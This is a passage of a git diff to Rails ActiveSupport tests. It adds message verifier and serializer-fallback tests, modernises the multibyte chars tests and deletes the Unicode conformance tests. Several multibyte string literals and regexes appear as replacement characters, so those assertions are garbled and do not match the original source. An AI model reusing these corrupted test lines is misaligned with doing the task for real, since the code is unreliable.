+    end
+end
diff --git a/activesupport/test/messages/message_verifier_rotator_test.rb b/activesupport/test/messages/message_verifier_rotator_test.rb
new file mode 100644
index 0000000000000..0e2b0eba79e59
--- /dev/null
+++ b/activesupport/test/messages/message_verifier_rotator_test.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require_relative "message_rotator_tests"
+
+class MessageVerifierRotatorTest < ActiveSupport::TestCase
+  include MessageRotatorTests
+
+  test "rotate digest" do
+    assert_rotate [digest: "SHA256"], [digest: "SHA1"], [digest: "MD5"]
+  end
+
+  private
+    def make_codec(secret = secret("secret"), **options)
+      ActiveSupport::MessageVerifier.new(secret, **options)
+    end
+
+    def encode(data, verifier, **options)
+      verifier.generate(data, **options)
+    end
+
+    def decode(message, verifier, **options)
+      verifier.verified(message, **options)
+    end
+end
diff --git a/activesupport/test/messages/rotation_configuration_test.rb b/activesupport/test/messages/rotation_configuration_test.rb
new file mode 100644
index 0000000000000..3fb105be5833f
--- /dev/null
+++ b/activesupport/test/messages/rotation_configuration_test.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/messages/rotation_configuration"
+
+class MessagesRotationConfiguration < ActiveSupport::TestCase
+  def setup
+    @config = ActiveSupport::Messages::RotationConfiguration.new
+  end
+
+  def test_signed_configurations
+    @config.rotate :signed, "older secret", salt: "salt", digest: "SHA1"
+    @config.rotate :signed, "old secret", salt: "salt", digest: "SHA256"
+
+    assert_equal [
+      [ "older secret", salt: "salt", digest: "SHA1" ],
+      [ "old secret", salt: "salt", digest: "SHA256" ] ], @config.signed
+  end
+
+  def test_encrypted_configurations
+    @config.rotate :encrypted, "old raw key", cipher: "aes-256-gcm"
+
+    assert_equal [ [ "old raw key", cipher: "aes-256-gcm" ] ], @config.encrypted
+  end
+end
diff --git a/activesupport/test/messages/serializer_with_fallback_test.rb b/activesupport/test/messages/serializer_with_fallback_test.rb
new file mode 100644
index 0000000000000..d173eff982ff6
--- /dev/null
+++ b/activesupport/test/messages/serializer_with_fallback_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/messages/serializer_with_fallback"
+
+class MessagesSerializerWithFallbackTest < ActiveSupport::TestCase
+  test ":marshal serializer dumps objects using Marshal format" do
+    assert_roundtrip serializer(:marshal), Marshal
+  end
+
+  test ":json serializer dumps objects using JSON format" do
+    assert_roundtrip serializer(:json), ActiveSupport::JSON
+    assert_roundtrip serializer(:json_allow_marshal), ActiveSupport::JSON
+  end
+
+  test ":message_pack serializer dumps objects using MessagePack format" do
+    assert_roundtrip serializer(:message_pack), ActiveSupport::MessagePack
+    assert_roundtrip serializer(:message_pack_allow_marshal), ActiveSupport::MessagePack
+  end
+
+  test "every serializer can load every non-Marshal format" do
+    (FORMATS - [:marshal]).product(FORMATS) do |dumping, loading|
+      assert_roundtrip serializer(dumping), serializer(loading)
+    end
+  end
+
+  test "only :marshal and :*_allow_marshal serializers can load Marshal format" do
+    marshal_loading_formats = FORMATS.grep(/(?:\A|_allow_)marshal/)
+    assert_operator marshal_loading_formats.length, :>, 1
+
+    marshal_loading_formats.each do |loading|
+      assert_roundtrip serializer(:marshal), serializer(loading)
+    end
+
+    marshalled = serializer(:marshal).dump({})
+
+    (FORMATS - marshal_loading_formats).each do |loading|
+      assert_raises(match: /unsupported/i) do
+        serializer(loading).load(marshalled)
+      end
+    end
+  end
+
+  test ":json serializer recognizes regular JSON" do
+    [
+      nil, false, true,
+      0, 1, -1,
+      0.0, 1.0, -1.0, 0.1, -0.1,
+      "", [], {},
+    ].each do |value|
+      dumped = serializer(:json).dump(value)
+      assert serializer(:json).dumped?(dumped)
+    end
+  end
+
+  test ":json serializer can load irregular JSON" do
+    value = { "foo" => "bar" }
+    dumped = serializer(:json).dump(value)
+
+    assert_equal value, serializer(:json).load(" /* comment */ #{dumped}")
+  end
+
+  test "notifies when serializer falls back to loading an alternate format" do
+    value = { "foo" => "bar" }
+    dumped = serializer(:json).dump(value)
+
+    expected_payload = {
+      serializer: :marshal,
+      fallback: :json,
+      serialized: dumped,
+      deserialized: value,
+    }
+
+    assert_notifications_count("message_serializer_fallback.active_support", 1) do
+      assert_notification("message_serializer_fallback.active_support", expected_payload) do
+        serializer(:marshal).load(dumped)
+      end
+    end
+  end
+
+  test "raises on invalid format name" do
+    assert_raises KeyError do
+      ActiveSupport::Messages::SerializerWithFallback[:invalid_format]
+    end
+  end
+
+  private
+    FORMATS = ActiveSupport::Messages::SerializerWithFallback::SERIALIZERS.keys
+
+    def serializer(format)
+      ActiveSupport::Messages::SerializerWithFallback[format]
+    end
+
+    def assert_roundtrip(serializer, deserializer = serializer)
+      value = [{ "a_boolean" => false, "a_number" => 123 }]
+      assert_equal value, deserializer.load(serializer.dump(value))
+    end
+end
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index d80d3409866f7..e1580f9883ef0 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -1,10 +1,20 @@
-require "abstract_unit"
-require "multibyte_test_helpers"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require_relative "multibyte_test_helpers"
 require "active_support/core_ext/string/multibyte"
 
 class MultibyteCharsTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
+  def run(...)
+    result = nil
+    assert_deprecated ActiveSupport.deprecator do
+      result = super
+    end
+    result
+  end
+
   def setup
     @proxy_class = ActiveSupport::Multibyte::Chars
     @chars = @proxy_class.new UNICODE_STRING.dup
@@ -51,7 +61,7 @@ def test_methods_are_forwarded_to_wrapped_string_for_byte_strings
   end
 
   def test_forwarded_method_with_non_string_result_should_be_returned_verbatim
-    str = ""
+    str = +""
     str.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
     @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
 
@@ -59,26 +69,20 @@ def test_forwarded_method_with_non_string_result_should_be_returned_verbatim
   end
 
   def test_should_concatenate
-    mb_a = "a".mb_chars
-    mb_b = "b".mb_chars
+    mb_a = (+"a").mb_chars
+    mb_b = (+"b").mb_chars
     assert_equal "ab", mb_a + "b"
     assert_equal "ab", "a" + mb_b
     assert_equal "ab", mb_a + mb_b
 
     assert_equal "ab", mb_a << "b"
-    assert_equal "ab", "a" << mb_b
+    assert_equal "ab", (+"a") << mb_b
     assert_equal "abb", mb_a << mb_b
   end
 
-  def test_consumes_utf8_strings
-    assert @proxy_class.consumes?(UNICODE_STRING)
-    assert @proxy_class.consumes?(ASCII_STRING)
-    assert !@proxy_class.consumes?(BYTE_STRING)
-  end
-
   def test_concatenation_should_return_a_proxy_class_instance
     assert_equal ActiveSupport::Multibyte.proxy_class, ("a".mb_chars + "b").class
-    assert_equal ActiveSupport::Multibyte.proxy_class, ("a".mb_chars << "b").class
+    assert_equal ActiveSupport::Multibyte.proxy_class, ((+"a").mb_chars << "b").class
   end
 
   def test_ascii_strings_are_treated_at_utf8_strings
@@ -88,8 +92,8 @@ def test_ascii_strings_are_treated_at_utf8_strings
   def test_concatenate_should_return_proxy_instance
     assert(("a".mb_chars + "b").kind_of?(@proxy_class))
     assert(("a".mb_chars + "b".mb_chars).kind_of?(@proxy_class))
-    assert(("a".mb_chars << "b").kind_of?(@proxy_class))
-    assert(("a".mb_chars << "b".mb_chars).kind_of?(@proxy_class))
+    assert(((+"a").mb_chars << "b").kind_of?(@proxy_class))
+    assert(((+"a").mb_chars << "b".mb_chars).kind_of?(@proxy_class))
   end
 
   def test_should_return_string_as_json
@@ -97,9 +101,17 @@ def test_should_return_string_as_json
   end
 end
 
-class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
+class MultibyteCharsUTF8BehaviorTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
+  def run(...)
+    result = nil
+    assert_deprecated ActiveSupport.deprecator do
+      result = super
+    end
+    result
+  end
+
   def setup
     @chars = UNICODE_STRING.dup.mb_chars
     # Ruby 1.9 only supports basic whitespace
@@ -115,14 +127,15 @@ def test_split_should_return_an_array_of_chars_instances
   %w{capitalize downcase lstrip reverse rstrip swapcase upcase}.each do |method|
     class_eval(<<-EOTESTS, __FILE__, __LINE__ + 1)
       def test_#{method}_bang_should_return_self_when_modifying_wrapped_string
-        chars = ' él piDió Un bUen café '
-        assert_equal chars.object_id, chars.send("#{method}!").object_id
+        original = ' él piDió Un bUen café '.dup
+        proxy = chars(original.dup)
+        assert_equal proxy.object_id, proxy.public_send("#{method}!").object_id
       end
 
       def test_#{method}_bang_should_change_wrapped_string
-        original = ' él piDió Un bUen café '
+        original = ' él piDió Un bUen café '.dup
         proxy = chars(original.dup)
-        proxy.send("#{method}!")
+        proxy.public_send("#{method}!")
         assert_not_equal original, proxy.to_s
       end
     EOTESTS
@@ -133,7 +146,7 @@ def test_tidy_bytes_bang_should_return_self
   end
 
   def test_tidy_bytes_bang_should_change_wrapped_string
-    original = " Un bUen café \x92"
+    original = +" Un bUen café \x92"
     proxy = chars(original.dup)
     proxy.tidy_bytes!
     assert_not_equal original, proxy.to_s
@@ -146,11 +159,11 @@ def test_unicode_string_should_have_utf8_encoding
   def test_identity
     assert_equal @chars, @chars
     assert @chars.eql?(@chars)
-    assert !@chars.eql?(UNICODE_STRING)
+    assert_not @chars.eql?(UNICODE_STRING)
   end
 
   def test_string_methods_are_chainable
-    assert chars("").insert(0, "").kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars(+"").insert(0, "").kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").rjust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").ljust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").center(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
@@ -163,7 +176,6 @@ def test_string_methods_are_chainable
     assert chars("").upcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").downcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").capitalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars("").normalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").decompose.kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").compose.kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars("").tidy_bytes.kind_of?(ActiveSupport::Multibyte.proxy_class)
@@ -194,8 +206,14 @@ def test_should_return_character_offset_for_regexp_matches
     assert_equal 3, (@chars =~ /�/u)
   end
 
+  def test_match_should_return_boolean_for_regexp_match
+    assert_not @chars.match?(/wrong/u)
+    assert @chars.match?(/��/u)
+    assert @chars.match?(/�/u)
+  end
+
   def test_should_use_character_offsets_for_insert_offsets
-    assert_equal "", "".mb_chars.insert(0, "")
+    assert_equal "", (+"").mb_chars.insert(0, "")
     assert_equal "�����", @chars.insert(1, "�")
     assert_equal "�������", @chars.insert(2, "��")
     assert_equal "��������", @chars.insert(0, "�")
@@ -381,10 +399,6 @@ def test_reverse_reverses_characters
   def test_reverse_should_work_with_normalized_strings
     str = "bös"
     reversed_str = "söb"
-    assert_equal chars(reversed_str).normalize(:kc), chars(str).normalize(:kc).reverse
-    assert_equal chars(reversed_str).normalize(:c), chars(str).normalize(:c).reverse
-    assert_equal chars(reversed_str).normalize(:d), chars(str).normalize(:d).reverse
-    assert_equal chars(reversed_str).normalize(:kd), chars(str).normalize(:kd).reverse
     assert_equal chars(reversed_str).decompose, chars(str).decompose.reverse
     assert_equal chars(reversed_str).compose, chars(str).compose.reverse
   end
@@ -418,13 +432,13 @@ def test_slice_bang_returns_nil_on_out_of_bound_arguments
   end
 
   def test_slice_bang_removes_the_slice_from_the_receiver
-    chars = "úüù".mb_chars
+    chars = (+"úüù").mb_chars
     chars.slice!(0, 2)
     assert_equal "ù", chars
   end
 
   def test_slice_bang_returns_nil_and_does_not_modify_receiver_if_out_of_bounds
-    string = "úüù"
+    string = +"úüù"
     chars = string.mb_chars
     assert_nil chars.slice!(4, 5)
     assert_equal "úüù", chars
@@ -467,15 +481,15 @@ def test_titleize_should_work_on_ascii_characters
   end
 
   def test_respond_to_knows_which_methods_the_proxy_responds_to
-    assert "".mb_chars.respond_to?(:slice) # Defined on Chars
-    assert "".mb_chars.respond_to?(:capitalize!) # Defined on Chars
-    assert "".mb_chars.respond_to?(:gsub) # Defined on String
-    assert !"".mb_chars.respond_to?(:undefined_method) # Not defined
+    assert_respond_to "".mb_chars, :slice # Defined on Chars
+    assert_respond_to "".mb_chars, :capitalize! # Defined on Chars
+    assert_respond_to "".mb_chars, :gsub # Defined on String
+    assert_not_respond_to "".mb_chars, :undefined_method # Not defined
   end
 
   def test_method_works_for_proxyed_methods
     assert_equal "ll", "hello".mb_chars.method(:slice).call(2..3) # Defined on Chars
-    chars = "hello".mb_chars
+    chars = +"hello".mb_chars
     assert_equal "Hello", chars.method(:capitalize!).call # Defined on Chars
     assert_equal "Hello", chars
     assert_equal "jello", "hello".mb_chars.method(:gsub).call(/h/, "j") # Defined on String
@@ -483,7 +497,7 @@ def test_method_works_for_proxyed_methods
   end
 
   def test_acts_like_string
-    assert "Bambi".mb_chars.acts_like_string?
+    assert_predicate "Bambi".mb_chars, :acts_like_string?
   end
 end
 
@@ -493,6 +507,14 @@ def test_acts_like_string
 class MultibyteCharsExtrasTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
+  def run(...)
+    result = nil
+    assert_deprecated ActiveSupport.deprecator do
+      result = super
+    end
+    result
+  end
+
   def test_upcase_should_be_unicode_aware
     assert_equal "�БВГД\0F", chars("аБвгд\0f").upcase
     assert_equal "����", chars("����").upcase
@@ -563,55 +585,21 @@ def test_limit_should_keep_under_the_specified_byte_limit
     end
   end
 
-  def test_composition_exclusion_is_set_up_properly
-    # Normalization of DEVANAGARI LETTER QA breaks when composition exclusion isn't used correctly
-    qa = [0x915, 0x93c].pack("U*")
-    assert_equal qa, chars(qa).normalize(:c)
-  end
-
-  # Test for the Public Review Issue #29, bad explanation of composition might lead to a
-  # bad implementation: http://www.unicode.org/review/pr-29.html
-  def test_normalization_C_pri_29
-    [
-      [0x0B47, 0x0300, 0x0B3E],
-      [0x1100, 0x0300, 0x1161]
-    ].map { |c| c.pack("U*") }.each do |c|
-      assert_equal_codepoints c, chars(c).normalize(:c)
-    end
-  end
-
   def test_normalization_shouldnt_strip_null_bytes
     null_byte_str = "Test\0test"
 
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:kc)
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:c)
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:d)
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:kd)
     assert_equal null_byte_str, chars(null_byte_str).decompose
     assert_equal null_byte_str, chars(null_byte_str).compose
   end
 
-  def test_simple_normalization
-    comp_str = [
-      44,  # LATIN CAPITAL LETTER D
-      307, # COMBINING DOT ABOVE
-      328, # COMBINING OGONEK
-      323 # COMBINING DOT BELOW
-    ].pack("U*")
-
-    assert_equal_codepoints "", chars("").normalize
-    assert_equal_codepoints [44, 105, 106, 328, 323].pack("U*"), chars(comp_str).normalize(:kc).to_s
-    assert_equal_codepoints [44, 307, 328, 323].pack("U*"), chars(comp_str).normalize(:c).to_s
-    assert_equal_codepoints [44, 307, 110, 780, 78, 769].pack("U*"), chars(comp_str).normalize(:d).to_s
-    assert_equal_codepoints [44, 105, 106, 110, 780, 78, 769].pack("U*"), chars(comp_str).normalize(:kd).to_s
-  end
-
   def test_should_compute_grapheme_length
+    "foo".mb_chars # appease assert_deprecated
+
     [
       ["", 0],
       ["abc", 3],
       ["����", 4],
-      [[0x0924, 0x094D, 0x0930].pack("U*"), 2],
+      [[0x0924, 0x094D, 0x0930].pack("U*"), RbConfig::CONFIG["UNICODE_VERSION"] >= "15.1.0" ? 1 : 2],
       # GB3
       [%w(cr lf), 1],
       # GB4
@@ -718,7 +706,6 @@ def test_class_is_not_forwarded
   end
 
   private
-
     def string_from_classes(classes)
       # Characters from the character classes as described in UAX #29
       character_from_class = {
@@ -730,21 +717,3 @@ def string_from_classes(classes)
       end.pack("U*")
     end
 end
-
-class MultibyteInternalsTest < ActiveSupport::TestCase
-  include MultibyteTestHelpers
-
-  test "Chars translates a character offset to a byte offset" do
-    example = chars("Puisque c'était son erreur, il m'a aidé")
-    [
-      [0, 0],
-      [3, 3],
-      [12, 11],
-      [14, 13],
-      [41, 39]
-    ].each do |byte_offset, character_offset|
-      assert_equal character_offset, example.send(:translate_offset, byte_offset),
-        "Expected byte offset #{byte_offset} to translate to #{character_offset}"
-    end
-  end
-end
diff --git a/activesupport/test/multibyte_conformance_test.rb b/activesupport/test/multibyte_conformance_test.rb
deleted file mode 100644
index ef1a26135f296..0000000000000
--- a/activesupport/test/multibyte_conformance_test.rb
+++ /dev/null
@@ -1,108 +0,0 @@
-require "abstract_unit"
-require "multibyte_test_helpers"
-
-require "fileutils"
-require "open-uri"
-require "tmpdir"
-
-class MultibyteConformanceTest < ActiveSupport::TestCase
-  include MultibyteTestHelpers
-
-  UNIDATA_FILE = "/NormalizationTest.txt"
-  FileUtils.mkdir_p(CACHE_DIR)
-  RUN_P = begin
-            Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
-          rescue
-          end
-
-  def setup
-    @proxy = ActiveSupport::Multibyte::Chars
-    skip "Unable to download test data" unless RUN_P
-  end
-
-  def test_normalizations_C
-    each_line_of_norm_tests do |*cols|
-      col1, col2, col3, col4, col5, comment = *cols
-
-      # CONFORMANCE:
-      # 1. The following invariants must be true for all conformant implementations
-      #
-      #    NFC
-      #      c2 ==  NFC(c1) ==  NFC(c2) ==  NFC(c3)
-      assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
-      assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
-      assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
-      #
-      #      c4 ==  NFC(c4) ==  NFC(c5)
-      assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
-    end
-  end
-
-  def test_normalizations_D
-    each_line_of_norm_tests do |*cols|
-      col1, col2, col3, col4, col5, comment = *cols
-      #
-      #    NFD
-      #      c3 ==  NFD(c1) ==  NFD(c2) ==  NFD(c3)
-      assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
-      assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
-      assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
-      #      c5 ==  NFD(c4) ==  NFD(c5)
-      assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
-    end
-  end
-
-  def test_normalizations_KC
-    each_line_of_norm_tests do | *cols |
-      col1, col2, col3, col4, col5, comment = *cols
-      #
-      #    NFKC
-      #      c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
-      assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
-    end
-  end
-
-  def test_normalizations_KD
-    each_line_of_norm_tests do | *cols |
-      col1, col2, col3, col4, col5, comment = *cols
-      #
-      #    NFKD
-      #      c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
-      assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
-    end
-  end
-
-  private
-    def each_line_of_norm_tests(&block)
-      File.open(File.join(CACHE_DIR, UNIDATA_FILE), "r") do | f |
-        until f.eof?
-          line = f.gets.chomp!
-          next if line.empty? || line.start_with?("#")
-
-          cols, comment = line.split("#")
-          cols = cols.split(";").map(&:strip).reject(&:empty?)
-          next unless cols.length == 5
-
-          # codepoints are in hex in the test suite, pack wants them as integers
-          cols.map! { |c| c.split.map { |codepoint| codepoint.to_i(16) }.pack("U*") }
-          cols << comment
-
-          yield(*cols)
-        end
-      end
-    end
-
-    def inspect_codepoints(str)
-      str.to_s.unpack("U*").map { |cp| cp.to_s(16) }.join(" ")
-    end
-end
diff --git a/activesupport/test/multibyte_grapheme_break_conformance_test.rb b/activesupport/test/multibyte_grapheme_break_conformance_test.rb
deleted file mode 100644
index b3328987aedb2..0000000000000
--- a/activesupport/test/multibyte_grapheme_break_conformance_test.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-# encoding: utf-8
-
-require "abstract_unit"
-require "multibyte_test_helpers"
-
-require "fileutils"
-require "open-uri"
-require "tmpdir"
-
-class MultibyteGraphemeBreakConformanceTest < ActiveSupport::TestCase
-  include MultibyteTestHelpers
-
-  UNIDATA_FILE = "/auxiliary/GraphemeBreakTest.txt"
-  RUN_P = begin
-            Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
-          rescue
-          end
-
-  def setup
-    skip "Unable to download test data" unless RUN_P
-  end
-
-  def test_breaks
-    each_line_of_break_tests do |*cols|
-      *clusters, comment = *cols
-      packed = ActiveSupport::Multibyte::Unicode.pack_graphemes(clusters)
-      assert_equal clusters, ActiveSupport::Multibyte::Unicode.unpack_graphemes(packed), comment
-    end
-  end
-
-  private
-    def each_line_of_break_tests(&block)
-      lines = 0
-      max_test_lines = 0 # Don't limit below 21, because that's the header of the testfile
-      File.open(File.join(CACHE_DIR, UNIDATA_FILE), "r") do | f |
-        until f.eof? || (max_test_lines > 21 && lines > max_test_lines)
-          lines += 1
-          line = f.gets.chomp!
-          next if line.empty? || line.start_with?("#")
-
-          cols, comment = line.split("#")
-          # Cluster breaks are represented by ÷
-          clusters = cols.split("÷").map { |e| e.strip }.reject { |e| e.empty? }
-          clusters = clusters.map do |cluster|
-            # Codepoints within each cluster are separated by ×
-            codepoints = cluster.split("×").map { |e| e.strip }.reject { |e| e.empty? }
-            # codepoints are in hex in the test suite, pack wants them as integers
-            codepoints.map { |codepoint| codepoint.to_i(16) }
-          end
-
-          # The tests contain a solitary U+D800 <Non Private Use High
-          # Surrogate, First> character, which Ruby does not allow to stand
-          # alone in a UTF-8 string. So we'll just skip it.
-          next if clusters.flatten.include?(0xd800)
-
-          clusters << comment.strip
-
-          yield(*clusters)
-        end
-      end
-    end
-end
diff --git a/activesupport/test/multibyte_normalization_conformance_test.rb b/activesupport/test/multibyte_normalization_conformance_test.rb
deleted file mode 100644
index ebc9f92d23ce2..0000000000000
--- a/activesupport/test/multibyte_normalization_conformance_test.rb
+++ /dev/null
@@ -1,112 +0,0 @@
-# encoding: utf-8
-
-require "abstract_unit"
-require "multibyte_test_helpers"
-
-require "fileutils"
-require "open-uri"
-require "tmpdir"
-
-class MultibyteNormalizationConformanceTest < ActiveSupport::TestCase
-  include MultibyteTestHelpers
-
-  UNIDATA_FILE = "/NormalizationTest.txt"
-  RUN_P = begin
-            Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
-          rescue
-          end
-
-  def setup
-    @proxy = ActiveSupport::Multibyte::Chars
-    skip "Unable to download test data" unless RUN_P
-  end
-
-  def test_normalizations_C
-    each_line_of_norm_tests do |*cols|
-      col1, col2, col3, col4, col5, comment = *cols
-
-      # CONFORMANCE:
-      # 1. The following invariants must be true for all conformant implementations
-      #
-      #    NFC
-      #      c2 ==  NFC(c1) ==  NFC(c2) ==  NFC(c3)
-      assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
-      assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
-      assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
-      #
-      #      c4 ==  NFC(c4) ==  NFC(c5)
-      assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
-    end
-  end
-
-  def test_normalizations_D
-    each_line_of_norm_tests do |*cols|
-      col1, col2, col3, col4, col5, comment = *cols
-      #
-      #    NFD
-      #      c3 ==  NFD(c1) ==  NFD(c2) ==  NFD(c3)
-      assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
-      assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
-      assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
-      #      c5 ==  NFD(c4) ==  NFD(c5)
-      assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
-    end
-  end
-
-  def test_normalizations_KC
-    each_line_of_norm_tests do | *cols |
-      col1, col2, col3, col4, col5, comment = *cols
-      #
-      #    NFKC
-      #      c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
-      assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
-    end
-  end
-
-  def test_normalizations_KD
-    each_line_of_norm_tests do | *cols |
-      col1, col2, col3, col4, col5, comment = *cols
-      #
-      #    NFKD
-      #      c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
-      assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
-    end
-  end
-
-  private
-    def each_line_of_norm_tests(&block)
-      lines = 0
-      max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile
-      File.open(File.join(CACHE_DIR, UNIDATA_FILE), "r") do | f |
-        until f.eof? || (max_test_lines > 38 && lines > max_test_lines)
-          lines += 1
-          line = f.gets.chomp!
-          next if line.empty? || line.start_with?("#")
-
-          cols, comment = line.split("#")
-          cols = cols.split(";").map { |e| e.strip }.reject { |e| e.empty? }
-          next unless cols.length == 5
-
-          # codepoints are in hex in the test suite, pack wants them as integers
-          cols.map! { |c| c.split.map { |codepoint| codepoint.to_i(16) }.pack("U*") }
-          cols << comment
-
-          yield(*cols)
-        end
-      end
-    end
-
-    def inspect_codepoints(str)
-      str.to_s.unpack("U*").map { |cp| cp.to_s(16) }.join(" ")
-    end
-end
diff --git a/activesupport/test/multibyte_proxy_test.rb b/activesupport/test/multibyte_proxy_test.rb
index c303097f80c4c..75f2b84d0c59f 100644
--- a/activesupport/test/multibyte_proxy_test.rb
+++ b/activesupport/test/multibyte_proxy_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 class MultibyteProxyText < ActiveSupport::TestCase
   class AsciiOnlyEncoder
@@ -23,10 +25,12 @@ def with_custom_encoder(encoder)
   end
 
   test "custom multibyte encoder" do
-    with_custom_encoder(AsciiOnlyEncoder) do
